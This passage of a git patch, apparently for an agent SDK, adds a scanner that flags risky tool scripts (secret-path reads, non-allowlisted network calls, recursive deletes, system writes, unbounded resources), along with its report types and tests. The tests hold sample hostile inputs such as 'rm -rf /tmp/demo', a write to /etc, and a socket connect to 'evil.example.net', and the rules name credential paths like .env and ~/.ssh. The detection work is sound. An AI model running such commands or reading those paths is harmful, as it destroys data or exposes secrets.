literal_size = sum(len(self.constant_string(arg) or "") for arg in node.args) + if literal_size > self.policy.max_literal_write_bytes: + self.add( + "TSG-RESOURCE-LARGE-WRITE", + "resource_abuse", + SafetyRiskLevel.MEDIUM, + "Large literal write exceeds policy limit.", + self.segment(node), + "Stream bounded output and enforce max output size.", + node, + ) + + def handle_path_read(self, node: ast.Call, call_name: str) -> None: + path_text = self.path_literal_from_node(getattr(node.func, "value", None)) + if path_text and self.policy.is_denied_path(path_text): + self.add( + "TSG-FILE-DENIED-PATH", + "sensitive_information_leak", + SafetyRiskLevel.HIGH, + "Python path read references a denied sensitive path.", + self.segment(node), + "Remove direct reads of secrets and use a secret manager interface instead.", + node, + ) + + def handle_network_call(self, node: ast.Call, call_name: str) -> None: + urls = [self.constant_string(arg) for arg in node.args] + urls.extend(self.constant_string(kw.value) for kw in node.keywords if kw.arg in {"url", "host"}) + literal_urls = [url for url in urls if url] + if not literal_urls: + self.add( + "TSG-NETWORK-DYNAMIC", + "network_egress", + SafetyRiskLevel.MEDIUM, + f"{call_name} opens a network connection with a dynamic target.", + self.segment(node), + "Require human review or constrain network targets to policy allowed_domains.", + node, + ) + return + for url in literal_urls: + host = extract_host(url) + if not self.policy.is_domain_allowed(host): + self.add( + "TSG-NETWORK-NONALLOWLIST", + "network_egress", + SafetyRiskLevel.HIGH, + f"Network request targets non-allowlisted domain {host or url}.", + self.segment(node), + "Add the domain to allowed_domains only after review, or block the request.", + node, + ) + + def handle_sleep_call(self, node: ast.Call, call_name: str) -> None: + seconds = numeric_constant(node.args[0]) if node.args else None + if seconds is not None and seconds > self.policy.max_sleep_seconds: + self.add( + "TSG-RESOURCE-LONG-SLEEP", + "resource_abuse", + SafetyRiskLevel.MEDIUM, + f"{call_name} duration {seconds}s exceeds policy limit.", + self.segment(node), + "Use shorter sleeps and rely on executor timeout controls.", + node, + ) + + def handle_sensitive_sink(self, node: ast.Call, call_name: str) -> None: + for arg in node.args: + names = collect_names(arg) + if any(is_secret_name(name) or name in self.secret_names for name in names): + self.add( + "TSG-SECRETS-SINK", + "sensitive_information_leak", + SafetyRiskLevel.HIGH, + f"Sensitive variable is sent to {call_name}.", + redact_secret(self.segment(node)), + "Do not log, print, write, or transmit secret values.", + node, + redacted=True, + ) + + def add_denied_path(self, node: ast.AST, path_text: str) -> None: + self.add( + "TSG-FILE-DENIED-PATH", + "dangerous_file_operation", + SafetyRiskLevel.HIGH, + f"Path {path_text} matches denied_paths policy.", + self.segment(node), + "Remove direct access to credential paths or change policy after review.", + node, + ) + + def add( + self, + rule_id: str, + risk_type: str, + risk_level: SafetyRiskLevel, + message: str, + evidence: str, + recommendation: str, + node: ast.AST, + *, + redacted: bool = False, + ) -> None: + self.findings.append( + finding( + rule_id, + risk_type, + risk_level, + message, + evidence, + recommendation, + line_no=getattr(node, "lineno", None), + column=getattr(node, "col_offset", None), + redacted=redacted, + )) + + def segment(self, node: ast.AST) -> str: + return ast.get_source_segment(self.script, node) or self.node_line(node) + + def node_line(self, node: ast.AST) -> str: + lineno = getattr(node, "lineno", 1) or 1 + lines = self.script.splitlines() + if 1 <= lineno <= len(lines): + return lines[lineno - 1].strip() + return "" + + def call_name(self, node: ast.AST) -> str: + if isinstance(node, ast.Name): + return self.imports.get(node.id, node.id) + if isinstance(node, ast.Attribute): + value_name = self.call_name(node.value) + if value_name: + return f"{value_name}.{node.attr}" + return node.attr + if isinstance(node, ast.Call): + return self.call_name(node.func) + return "" + + def name_of(self, node: ast.AST) -> str: + if isinstance(node, ast.Name): + return node.id + if isinstance(node, ast.Attribute): + return node.attr + return "" + + def constant_string(self, node: ast.AST | None) -> str: + if node is None: + return "" + if isinstance(node, ast.Constant) and isinstance(node.value, str): + return node.value + if isinstance(node, ast.JoinedStr): + parts = [] + for value in node.values: + if isinstance(value, ast.Constant): + parts.append(str(value.value)) + else: + parts.append("{}") + return "".join(parts) + if isinstance(node, ast.List): + values = [self.constant_string(item) for item in node.elts] + if any(not value for value in values): + return "" + return " ".join(value for value in values if value) + if isinstance(node, ast.Tuple): + values = [self.constant_string(item) for item in node.elts] + if any(not value for value in values): + return "" + return " ".join(value for value in values if value) + if isinstance(node, ast.Call) and self.call_name(node.func) in {"str", "Path", "pathlib.Path"} and node.args: + return self.constant_string(node.args[0]) + return "" + + def path_literal_from_node(self, node: ast.AST | None) -> str: + """Extract a literal path from Path("x").expanduser().read_text() chains.""" + if node is None: + return "" + direct = self.constant_string(node) + if direct: + return direct + if isinstance(node, ast.Call): + call_name = self.call_name(node.func) + if call_name in {"Path", "pathlib.Path", "str"} and node.args: + return self.constant_string(node.args[0]) + if isinstance(node.func, ast.Attribute) and node.func.attr in {"expanduser", "resolve", "absolute"}: + return self.path_literal_from_node(node.func.value) + if isinstance(node, ast.Attribute): + return self.path_literal_from_node(node.value) + return "" + + def range_count(self, node: ast.Call) -> int | None: + values = [numeric_constant(arg) for arg in node.args] + if not values or any(value is None for value in values): + return None + numbers = [int(value) for value in values if value is not None] + if len(numbers) == 1: + return max(numbers[0], 0) + if len(numbers) >= 2: + start, stop = numbers[:2] + step = numbers[2] if len(numbers) >= 3 and numbers[2] != 0 else 1 + return max((stop - start + (step - 1)) // step, 0) + return None + + +def normalize_language(language: str | None) -> str: + value = (language or "").lower() + if value in {"py", "python", "python3", "tool_code"}: + return "python" + if value in {"bash", "sh", "shell"}: + return "bash" + return value or "python" + + +def finding( + rule_id: str, + risk_type: str, + risk_level: SafetyRiskLevel, + message: str, + evidence: str, + recommendation: str, + *, + line_no: int | None = None, + column: int | None = None, + redacted: bool = False, +) -> ToolSafetyFinding: + """Build a finding with bounded evidence.""" + evidence_text = (evidence or "").strip() + if len(evidence_text) > 240: + evidence_text = evidence_text[:237] + "..." + return ToolSafetyFinding( + rule_id=rule_id, + risk_type=risk_type, + risk_level=risk_level, + message=message, + evidence=evidence_text, + recommendation=recommendation, + line_no=line_no, + column=column, + redacted=redacted, + ) + + +def dedupe_findings(findings: Iterable[ToolSafetyFinding]) -> list[ToolSafetyFinding]: + seen = set() + deduped = [] + for item in findings: + key = (item.rule_id, item.line_no, item.evidence) + if key in seen: + continue + seen.add(key) + deduped.append(item) + return deduped + + +def build_summary(decision: SafetyDecision, risk_level: SafetyRiskLevel, findings: Sequence[ToolSafetyFinding]) -> str: + if not findings: + return "No safety risks matched the configured rules." + return f"{decision.value} due to {len(findings)} finding(s); highest risk is {risk_level.value}." + + +def primary_rule(findings: Sequence[ToolSafetyFinding]) -> str: + """Return the highest-risk rule id for telemetry and audit summaries.""" + if not findings: + return "" + return max(findings, key=lambda item: risk_level_value(item.risk_level)).rule_id + + +def line_number(text: str, offset: int) -> int: + return text.count("\n", 0, offset) + 1 + + +def redact_secret(text: str) -> str: + text = SECRET_VALUE_RE.sub(lambda m: f"{m.group(1)}=", text) + text = re.sub(r"(?i)(bearer\s+)[A-Za-z0-9._~+/=-]{12,}", r"\1", text) + text = re.sub(r"(?i)(sk-[A-Za-z0-9]{6})[A-Za-z0-9_-]+", r"\1", text) + return text + + +def is_secret_name(name: str | None) -> bool: + if not name: + return False + normalized = re.sub(r"[^A-Za-z0-9]", "_", name).upper() + if normalized in SECRET_ENV_NAMES: + return True + return any(token in normalized for token in ("API_KEY", "TOKEN", "PASSWORD", "SECRET", "PRIVATE_KEY", "CREDENTIAL")) + + +def numeric_constant(node: ast.AST | None) -> float | None: + if isinstance(node, ast.Constant) and isinstance(node.value, (int, float)): + return float(node.value) + return None + + +def keyword_bool(node: ast.Call, name: str) -> bool: + for keyword in node.keywords: + if keyword.arg == name and isinstance(keyword.value, ast.Constant): + return bool(keyword.value.value) + return False + + +def collect_names(node: ast.AST) -> set[str]: + names: set[str] = set() + for child in ast.walk(node): + if isinstance(child, ast.Name): + names.add(child.id) + elif isinstance(child, ast.Attribute): + names.add(child.attr) + return names + + +def extract_host(value: str) -> str: + parsed = urlparse(value if re.match(r"^[a-zA-Z][a-zA-Z0-9+.-]*://", value) else f"//{value}") + return parsed.hostname or "" + + +def split_shell_commands(tokens: Sequence[str]) -> list[list[str]]: + commands: list[list[str]] = [] + current: list[str] = [] + separators = {"|", "||", "&&", ";"} + for token in tokens: + if token in separators: + if current: + commands.append(current) + current = [] + elif token in {"sudo", "env", "nohup", "time", "command"} and not current: + current.append(token) + else: + current.append(token) + if current: + if current[0] in {"sudo", "env", "nohup", "time", "command"} and len(current) > 1: + commands.append(current[1:]) + else: + commands.append(current) + return commands + + +def is_install_invocation(tokens: Sequence[str]) -> bool: + command = Path(tokens[0]).name.lower() if tokens else "" + normalized = [token.lower() for token in tokens] + if command in {"pip", "pip3", "npm", "pnpm", "yarn", "apt", "apt-get", "brew", "conda", "gem"}: + return any(token in normalized for token in {"install", "add", "update", "upgrade"}) + if command == "uv": + return any(token in normalized for token in {"pip", "add", "sync"}) + if command == "poetry": + return any(token in normalized for token in {"add", "install", "update"}) + return False + + +def is_recursive_delete(tokens: Sequence[str]) -> bool: + if not tokens or Path(tokens[0]).name.lower() != "rm": + return False + return any(token.startswith("-") and "r" in token.lower() for token in tokens[1:]) + + +def targets_system_or_denied_path(tokens: Sequence[str], policy: ToolSafetyPolicy) -> bool: + return any(policy.is_system_write_path(token) or policy.is_denied_path(token) for token in tokens[1:]) + + +def line_has_allowlisted_url(line: str, policy: ToolSafetyPolicy) -> bool: + urls = URL_RE.findall(line) + if not urls: + return False + return all(policy.is_domain_allowed(urlparse(url).hostname or "") for url in urls) + + +def annotate_parents(tree: ast.AST) -> None: + for node in ast.walk(tree): + for child in ast.iter_child_nodes(node): + setattr(child, "parent", node) + if isinstance(node, ast.Assign) and isinstance(node.value, ast.Call): + for target in node.targets: + if isinstance(target, ast.Name): + setattr(node.value, "parent_assign_target", target.id) diff --git a/trpc_agent_sdk/tools/safety/_telemetry.py b/trpc_agent_sdk/tools/safety/_telemetry.py new file mode 100644 index 00000000..a39bc6e2 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_telemetry.py @@ -0,0 +1,36 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Telemetry helpers for tool script safety reports.""" + +from __future__ import annotations + +from typing import Any + +from opentelemetry import trace + +from ._types import ToolSafetyReport + + +def apply_tool_safety_span_attributes(report: ToolSafetyReport) -> None: + """Apply safety attributes to the current OpenTelemetry span. + + This helper is intentionally best-effort so the guard can be used without a + configured exporter. + """ + try: + span = trace.get_current_span() + for key, value in report.telemetry_attributes.items(): + span.set_attribute(key, _otel_value(value)) + except Exception: # pylint: disable=broad-except + return + + +def _otel_value(value: Any) -> Any: + if isinstance(value, (str, bool, int, float)): + return value + if isinstance(value, list): + return ",".join(str(item) for item in value) + return str(value) diff --git a/trpc_agent_sdk/tools/safety/_types.py b/trpc_agent_sdk/tools/safety/_types.py new file mode 100644 index 00000000..89509a2a --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_types.py @@ -0,0 +1,162 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Structured types for tool script safety scanning.""" + +from __future__ import annotations + +import json +from dataclasses import dataclass +from dataclasses import field +from enum import Enum +from typing import Any +from typing import Mapping + + +class SafetyDecision(str, Enum): + """Decision returned by the safety scanner.""" + + ALLOW = "allow" + DENY = "deny" + NEEDS_HUMAN_REVIEW = "needs_human_review" + + +class SafetyRiskLevel(str, Enum): + """Risk levels used in findings and aggregate reports.""" + + NONE = "none" + LOW = "low" + MEDIUM = "medium" + HIGH = "high" + CRITICAL = "critical" + + +RISK_LEVEL_ORDER = { + SafetyRiskLevel.NONE.value: 0, + SafetyRiskLevel.LOW.value: 1, + SafetyRiskLevel.MEDIUM.value: 2, + SafetyRiskLevel.HIGH.value: 3, + SafetyRiskLevel.CRITICAL.value: 4, +} + + +def risk_level_value(level: SafetyRiskLevel | str) -> int: + """Return numeric ordering for a risk level.""" + value = level.value if isinstance(level, SafetyRiskLevel) else str(level) + return RISK_LEVEL_ORDER.get(value, 0) + + +def max_risk_level(levels: list[SafetyRiskLevel | str]) -> SafetyRiskLevel: + """Return the highest risk level from a list.""" + if not levels: + return SafetyRiskLevel.NONE + max_value = max(risk_level_value(level) for level in levels) + for level, value in RISK_LEVEL_ORDER.items(): + if value == max_value: + return SafetyRiskLevel(level) + return SafetyRiskLevel.NONE + + +def enum_value(value: Any) -> Any: + """Convert enum values to JSON-friendly primitive values.""" + if isinstance(value, Enum): + return value.value + return value + + +@dataclass +class ToolSafetyScanRequest: + """Input to a tool script safety scan.""" + + script: str + language: str = "python" + command_args: list[str] = field(default_factory=list) + cwd: str | None = None + env: Mapping[str, str] = field(default_factory=dict) + tool_metadata: Mapping[str, Any] = field(default_factory=dict) + + @property + def tool_name(self) -> str: + """Return the tool name when present in metadata.""" + value = self.tool_metadata.get("name") or self.tool_metadata.get("tool_name") or "" + return str(value) + + +@dataclass +class ToolSafetyFinding: + """A single rule hit from the safety scanner.""" + + rule_id: str + risk_type: str + risk_level: SafetyRiskLevel | str + message: str + evidence: str + recommendation: str + line_no: int | None = None + column: int | None = None + redacted: bool = False + + def to_dict(self) -> dict[str, Any]: + """Return a JSON-serializable representation.""" + return { + "rule_id": self.rule_id, + "risk_type": self.risk_type, + "risk_level": enum_value(self.risk_level), + "message": self.message, + "evidence": self.evidence, + "recommendation": self.recommendation, + "line_no": self.line_no, + "column": self.column, + "redacted": self.redacted, + } + + +@dataclass +class ToolSafetyReport: + """Structured scanner report.""" + + decision: SafetyDecision | str + risk_level: SafetyRiskLevel | str + findings: list[ToolSafetyFinding] + duration_ms: float + language: str + scanned_at: str + tool_name: str = "" + cwd: str | None = None + policy_name: str = "default" + policy_version: str = "1" + blocked: bool = False + redacted: bool = False + summary: str = "" + telemetry_attributes: dict[str, Any] = field(default_factory=dict) + + @property + def is_allowed(self) -> bool: + """Return whether the script is allowed to execute.""" + return enum_value(self.decision) == SafetyDecision.ALLOW.value + + def to_dict(self) -> dict[str, Any]: + """Return a JSON-serializable representation.""" + return { + "decision": enum_value(self.decision), + "risk_level": enum_value(self.risk_level), + "risk_count": len(self.findings), + "findings": [finding.to_dict() for finding in self.findings], + "duration_ms": round(self.duration_ms, 3), + "language": self.language, + "scanned_at": self.scanned_at, + "tool_name": self.tool_name, + "cwd": self.cwd, + "policy_name": self.policy_name, + "policy_version": self.policy_version, + "blocked": self.blocked, + "redacted": self.redacted, + "summary": self.summary, + "telemetry_attributes": self.telemetry_attributes, + } + + def to_json(self, *, indent: int | None = 2) -> str: + """Serialize the report as JSON.""" + return json.dumps(self.to_dict(), ensure_ascii=False, indent=indent) From 04bc75a6b432679c37aa473ae0aa1a175479cf5b Mon Sep 17 00:00:00 2001 From: kia <248639846+zzp1221@users.noreply.github.com> Date: Sun, 5 Jul 2026 19:23:13 +0800 Subject: [PATCH 2/6] test: harden tool safety guard acceptance coverage --- scripts/tool_safety_check.py | 4 + tests/tools/safety/test_tool_safety_guard.py | 137 +++++++++++ trpc_agent_sdk/tools/safety/_scanner.py | 240 ++++++++++++++++++- 3 files changed, 377 insertions(+), 4 deletions(-) diff --git a/scripts/tool_safety_check.py b/scripts/tool_safety_check.py index e4660eec..37844aff 100644 --- a/scripts/tool_safety_check.py +++ b/scripts/tool_safety_check.py @@ -7,6 +7,10 @@ import sys from pathlib import Path +ROOT_DIR = Path(__file__).resolve().parents[1] +if str(ROOT_DIR) not in sys.path: + sys.path.insert(0, str(ROOT_DIR)) + from trpc_agent_sdk.tools.safety import ToolSafetyGuard from trpc_agent_sdk.tools.safety import ToolSafetyPolicy from trpc_agent_sdk.tools.safety import ToolSafetyScanRequest diff --git a/tests/tools/safety/test_tool_safety_guard.py b/tests/tools/safety/test_tool_safety_guard.py index a8847597..6073095d 100644 --- a/tests/tools/safety/test_tool_safety_guard.py +++ b/tests/tools/safety/test_tool_safety_guard.py @@ -6,6 +6,7 @@ from __future__ import annotations +import json import time from pathlib import Path from unittest.mock import AsyncMock @@ -27,6 +28,7 @@ from trpc_agent_sdk.code_executors import CodeExecutionInput from trpc_agent_sdk.code_executors import BaseCodeExecutor from trpc_agent_sdk.code_executors import create_code_execution_result +from scripts.tool_safety_check import main as tool_safety_check_main EXAMPLE_DIR = Path(__file__).resolve().parents[3] / "examples" / "tool_safety_guard" @@ -86,6 +88,82 @@ def test_issue_required_samples(sample, decision, rule_id): assert first["risk_level"] +def test_public_samples_emit_structured_reports_and_meet_acceptance_rates(): + high_risk_samples = { + "02_dangerous_delete.sh", + "03_read_secret.py", + "04_network_external.py", + "07_shell_injection.py", + "08_dependency_install.sh", + "09_infinite_loop.py", + "10_sensitive_output.py", + } + safe_samples = {"01_safe_python.py", "05_network_allowlist.py"} + required_rule_by_sample = { + "02_dangerous_delete.sh": "TSG-FILE-RECURSIVE-DELETE", + "03_read_secret.py": "TSG-FILE-DENIED-PATH", + "04_network_external.py": "TSG-NETWORK-NONALLOWLIST", + } + + sample_paths = sorted(SAMPLES.iterdir()) + reports = {path.name: scan_sample(path.name) for path in sample_paths} + + assert len(reports) == 12 + for report in reports.values(): + payload = json.loads(report.to_json()) + assert payload["decision"] + assert payload["risk_level"] + if payload["decision"] != SafetyDecision.ALLOW.value: + for finding in payload["findings"]: + assert finding["rule_id"] + assert finding["evidence"] + assert finding["recommendation"] + + detected_high_risk = sum(1 for name in high_risk_samples if reports[name].decision == SafetyDecision.DENY) + false_positive_safe = sum(1 for name in safe_samples if reports[name].decision != SafetyDecision.ALLOW) + assert detected_high_risk / len(high_risk_samples) >= 0.9 + assert false_positive_safe / len(safe_samples) <= 0.1 + + for sample, rule_id in required_rule_by_sample.items(): + report = reports[sample] + assert report.decision == SafetyDecision.DENY + assert any(finding.rule_id == rule_id for finding in report.findings) + + +def test_cli_scans_public_samples_and_writes_structured_reports(tmp_path, monkeypatch): + for sample in sorted(SAMPLES.iterdir()): + report_path = tmp_path / f"{sample.name}.json" + audit_path = tmp_path / "audit.jsonl" + language = "bash" if sample.suffix == ".sh" else "python" + monkeypatch.setattr( + "sys.argv", + [ + "tool_safety_check.py", + str(sample), + "--language", + language, + "--policy", + str(EXAMPLE_DIR / "tool_safety_policy.yaml"), + "--report-out", + str(report_path), + "--audit-out", + str(audit_path), + ], + ) + + exit_code = tool_safety_check_main() + + payload = json.loads(report_path.read_text(encoding="utf-8")) + assert exit_code in {0, 2} + assert payload["decision"] + assert payload["risk_level"] + if payload["decision"] != SafetyDecision.ALLOW.value: + assert payload["findings"] + assert payload["findings"][0]["rule_id"] + assert payload["findings"][0]["evidence"] + assert payload["findings"][0]["recommendation"] + + def test_denied_path_policy_change_changes_result(): script = 'open(".env", "r").read()' strict = ToolSafetyScanner(policy(denied_paths=[".env"])) @@ -115,6 +193,49 @@ def test_allowed_command_policy_change_changes_result(): assert relaxed_report.decision == SafetyDecision.ALLOW +@pytest.mark.parametrize( + ("script", "language", "rule_id", "decision"), + [ + ("echo data > /etc/app.conf", "bash", "TSG-FILE-SYSTEM-WRITE", SafetyDecision.DENY), + ("python worker.py &", "bash", "TSG-PROCESS-BACKGROUND", SafetyDecision.NEEDS_HUMAN_REVIEW), + ("printf '%s\n' a b | xargs -P 0 -n1 echo", "bash", "TSG-RESOURCE-PARALLELISM", SafetyDecision.DENY), + ("timeout 999 python job.py", "bash", "TSG-RESOURCE-LONG-TIMEOUT", SafetyDecision.NEEDS_HUMAN_REVIEW), + ( + "import socket\ns = socket.socket()\ns.connect(('evil.example.net', 443))", + "python", + "TSG-NETWORK-NONALLOWLIST", + SafetyDecision.DENY, + ), + ( + "import subprocess\nsubprocess.run(['python', 'job.py'], timeout=999, capture_output=True)", + "python", + "TSG-RESOURCE-LONG-TIMEOUT", + SafetyDecision.NEEDS_HUMAN_REVIEW, + ), + ( + "import concurrent.futures\nconcurrent.futures.ThreadPoolExecutor(max_workers=999)", + "python", + "TSG-RESOURCE-PARALLELISM", + SafetyDecision.NEEDS_HUMAN_REVIEW, + ), + ], +) +def test_additional_required_risk_coverage(script, language, rule_id, decision): + report = ToolSafetyScanner(policy()).scan(ToolSafetyScanRequest(script=script, language=language)) + + assert report.decision == decision + assert any(finding.rule_id == rule_id for finding in report.findings) + + +def test_subprocess_output_capture_has_output_size_recommendation(): + script = "import subprocess\nsubprocess.run(['python', 'job.py'], stdout=subprocess.PIPE)" + report = ToolSafetyScanner(policy()).scan(ToolSafetyScanRequest(script=script, language="python")) + + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + finding = next(item for item in report.findings if item.rule_id == "TSG-RESOURCE-OUTPUT-CAPTURE") + assert "max_output_bytes" in finding.recommendation + + def test_audit_event_contains_required_fields(tmp_path): report = ToolSafetyScanner(policy()).scan( ToolSafetyScanRequest(script="rm -rf /tmp/demo", language="bash", tool_metadata={"name": "Bash"})) @@ -149,6 +270,22 @@ async def test_tool_filter_blocks_before_handle(): handle.assert_not_called() +@pytest.mark.asyncio +async def test_tool_filter_block_writes_audit_event(tmp_path): + audit_path = tmp_path / "tool_safety_audit.jsonl" + filter_ = ToolSafetyFilter(guard=ToolSafetyGuard(policy=policy(), audit_log_path=audit_path)) + handle = AsyncMock(return_value={"success": True}) + + result = await filter_.run(create_agent_context(), {"command": "rm -rf /tmp/demo"}, handle) + + assert result.is_continue is False + handle.assert_not_called() + event = json.loads(audit_path.read_text(encoding="utf-8").strip()) + assert event["decision"] == "deny" + assert event["rule_id"] == "TSG-FILE-RECURSIVE-DELETE" + assert event["blocked"] is True + + @pytest.mark.asyncio async def test_tool_filter_allows_safe_command(): filter_ = ToolSafetyFilter(guard=ToolSafetyGuard(policy=policy())) diff --git a/trpc_agent_sdk/tools/safety/_scanner.py b/trpc_agent_sdk/tools/safety/_scanner.py index ccd7fb9b..7c40e326 100644 --- a/trpc_agent_sdk/tools/safety/_scanner.py +++ b/trpc_agent_sdk/tools/safety/_scanner.py @@ -83,11 +83,19 @@ "logger.error", "sys.stdout.write", "sys.stderr.write"} NETWORK_PY_MODULES = {"requests", "aiohttp", "httpx", "urllib", "socket", "websocket"} SUBPROCESS_CALLS = {"subprocess.run", "subprocess.call", "subprocess.Popen", "subprocess.check_call", - "subprocess.check_output", "os.system", "os.popen", "pty.spawn"} + "subprocess.check_output", "os.system", "os.popen", "os.spawnl", "os.spawnle", "os.spawnlp", + "os.spawnlpe", "os.spawnv", "os.spawnve", "os.spawnvp", "os.spawnvpe", "pty.spawn"} FILE_OPEN_CALLS = {"open", "Path.open", "pathlib.Path.open"} DANGEROUS_FILE_CALLS = {"os.remove", "os.unlink", "os.rmdir", "shutil.rmtree", "Path.unlink", "Path.rmdir", "pathlib.Path.unlink", "pathlib.Path.rmdir"} INSTALL_PY_MODULES = {"pip", "ensurepip"} +SHELL_WRITE_COMMANDS = {"cp", "install", "mkdir", "mv", "tee", "touch"} +PARALLEL_PY_CALLS = { + "asyncio.gather", + "concurrent.futures.ProcessPoolExecutor", + "concurrent.futures.ThreadPoolExecutor", + "multiprocessing.Pool", +} class ToolSafetyScanner: @@ -302,6 +310,18 @@ def _scan_bash_line(self, line: str, line_no: int, *, from_args: bool = False) - line_no=line_no, )) + if has_background_operator(tokens, line): + findings.append( + finding( + "TSG-PROCESS-BACKGROUND", + "process_command", + SafetyRiskLevel.MEDIUM, + "Shell command starts a background process.", + line, + "Run tools in the foreground with explicit timeout and cancellation controls.", + line_no=line_no, + )) + for url in URL_RE.findall(line): host = urlparse(url).hostname or "" if not self.policy.is_domain_allowed(host): @@ -350,6 +370,31 @@ def _scan_bash_line(self, line: str, line_no: int, *, from_args: bool = False) - "Prebuild dependencies in a trusted image or require human review.", line_no=line_no, )) + timeout_seconds = timeout_seconds_from_tokens(command_tokens) + if timeout_seconds is not None and timeout_seconds > self.policy.max_timeout_seconds: + findings.append( + finding( + "TSG-RESOURCE-LONG-TIMEOUT", + "resource_abuse", + SafetyRiskLevel.MEDIUM, + f"Command timeout {timeout_seconds}s exceeds policy limit.", + evidence, + "Keep tool timeouts within policy.max_timeout_seconds.", + line_no=line_no, + )) + parallel_tasks = parallel_tasks_from_tokens(command_tokens) + if parallel_tasks is not None and ( + parallel_tasks == 0 or parallel_tasks > self.policy.max_parallel_tasks): + findings.append( + finding( + "TSG-RESOURCE-PARALLELISM", + "resource_abuse", + SafetyRiskLevel.HIGH if parallel_tasks == 0 else SafetyRiskLevel.MEDIUM, + f"Command can start {parallel_tasks or 'unbounded'} parallel task(s).", + evidence, + "Bound parallelism to policy.max_parallel_tasks and enforce process limits.", + line_no=line_no, + )) if command in DANGEROUS_SHELL_COMMANDS: findings.append( finding( @@ -384,6 +429,41 @@ def _scan_bash_line(self, line: str, line_no: int, *, from_args: bool = False) - "Remove access to credential paths such as .env, ~/.ssh, and cloud credential files.", line_no=line_no, )) + if command in SHELL_WRITE_COMMANDS and any( + self.policy.is_system_write_path(token) for token in command_tokens[1:]): + findings.append( + finding( + "TSG-FILE-SYSTEM-WRITE", + "dangerous_file_operation", + SafetyRiskLevel.CRITICAL, + "Command writes to a protected system path.", + evidence, + "Block writes outside the configured workspace.", + line_no=line_no, + )) + for target in redirection_targets(command_tokens): + if self.policy.is_system_write_path(target): + findings.append( + finding( + "TSG-FILE-SYSTEM-WRITE", + "dangerous_file_operation", + SafetyRiskLevel.CRITICAL, + "Shell redirection writes to a protected system path.", + evidence, + "Block writes outside the configured workspace.", + line_no=line_no, + )) + if self.policy.is_denied_path(target): + findings.append( + finding( + "TSG-FILE-DENIED-PATH", + "dangerous_file_operation", + SafetyRiskLevel.HIGH, + "Shell redirection references a denied sensitive path.", + evidence, + "Remove direct access to credential paths such as .env, ~/.ssh, and cloud credential files.", + line_no=line_no, + )) if command in {"cat", "grep", "awk", "sed", "tail", "head"} and any( self.policy.is_denied_path(token) for token in command_tokens[1:]): findings.append( @@ -445,6 +525,7 @@ def __init__(self, script: str, policy: ToolSafetyPolicy): self.policy = policy self.findings: list[ToolSafetyFinding] = [] self.imports: dict[str, str] = {} + self.object_types: dict[str, str] = {} self.secret_names: set[str] = set() self.opened_paths: dict[str, str] = {} @@ -492,6 +573,7 @@ def visit_ImportFrom(self, node: ast.ImportFrom) -> None: # noqa: N802 def visit_Assign(self, node: ast.Assign) -> None: # noqa: N802 value_text = self.constant_string(node.value) + value_call_name = self.call_name(node.value.func) if isinstance(node.value, ast.Call) else "" for target in node.targets: target_name = self.name_of(target) if target_name and is_secret_name(target_name): @@ -507,6 +589,8 @@ def visit_Assign(self, node: ast.Assign) -> None: # noqa: N802 node, redacted=True, ) + if target_name and value_call_name in {"socket.socket"}: + self.object_types[target_name] = value_call_name self.generic_visit(node) def visit_For(self, node: ast.For) -> None: # noqa: N802 @@ -555,7 +639,7 @@ def visit_Call(self, node: ast.Call) -> None: # noqa: N802 self.handle_sleep_call(node, call_name) elif call_name in SENSITIVE_SINK_NAMES: self.handle_sensitive_sink(node, call_name) - elif call_name in {"os.fork", "multiprocessing.Process", "concurrent.futures.ProcessPoolExecutor"}: + elif call_name in {"os.fork", "multiprocessing.Process"}: self.add( "TSG-RESOURCE-PROCESS-FANOUT", "resource_abuse", @@ -565,6 +649,8 @@ def visit_Call(self, node: ast.Call) -> None: # noqa: N802 "Limit process fan-out and run inside a sandbox with process limits.", node, ) + elif call_name in PARALLEL_PY_CALLS: + self.handle_parallel_call(node, call_name) elif call_name.endswith(".read_text") or call_name.endswith(".read_bytes"): self.handle_path_read(node, call_name) elif call_name.endswith(".write_text") or call_name.endswith(".write_bytes"): @@ -601,6 +687,30 @@ def handle_process_call(self, node: ast.Call, call_name: str) -> None: for item in scanner._scan_bash(command_text, from_args=True): # pylint: disable=protected-access item.line_no = node.lineno self.findings.append(item) + timeout_seconds = keyword_number(node, "timeout") + if timeout_seconds is not None and timeout_seconds > self.policy.max_timeout_seconds: + self.add( + "TSG-RESOURCE-LONG-TIMEOUT", + "resource_abuse", + SafetyRiskLevel.MEDIUM, + f"Subprocess timeout {timeout_seconds}s exceeds policy limit.", + self.segment(node), + "Keep tool timeouts within policy.max_timeout_seconds.", + node, + ) + if keyword_bool(node, "capture_output") or any( + self.call_name(keyword.value) == "subprocess.PIPE" + for keyword in node.keywords + if keyword.arg in {"stdout", "stderr"}): + self.add( + "TSG-RESOURCE-OUTPUT-CAPTURE", + "resource_abuse", + SafetyRiskLevel.MEDIUM, + "Subprocess captures unbounded output.", + self.segment(node), + "Enforce policy.max_output_bytes when capturing tool output.", + node, + ) def handle_dangerous_file_call(self, node: ast.Call, call_name: str) -> None: path_text = self.constant_string(node.args[0]) if node.args else "" @@ -690,7 +800,7 @@ def handle_path_read(self, node: ast.Call, call_name: str) -> None: ) def handle_network_call(self, node: ast.Call, call_name: str) -> None: - urls = [self.constant_string(arg) for arg in node.args] + urls = [self.network_target_from_arg(arg) for arg in node.args] urls.extend(self.constant_string(kw.value) for kw in node.keywords if kw.arg in {"url", "host"}) literal_urls = [url for url in urls if url] if not literal_urls: @@ -717,6 +827,50 @@ def handle_network_call(self, node: ast.Call, call_name: str) -> None: node, ) + def network_target_from_arg(self, node: ast.AST | None) -> str: + value = self.constant_string(node) + if value: + return value + if isinstance(node, ast.Tuple) and node.elts: + return self.constant_string(node.elts[0]) + return "" + + def handle_parallel_call(self, node: ast.Call, call_name: str) -> None: + max_workers = keyword_number(node, "max_workers") + if call_name == "asyncio.gather": + task_count = len(node.args) + if task_count > self.policy.max_parallel_tasks: + self.add( + "TSG-RESOURCE-PARALLELISM", + "resource_abuse", + SafetyRiskLevel.MEDIUM, + f"asyncio.gather starts {task_count} concurrent task(s).", + self.segment(node), + "Bound concurrency to policy.max_parallel_tasks.", + 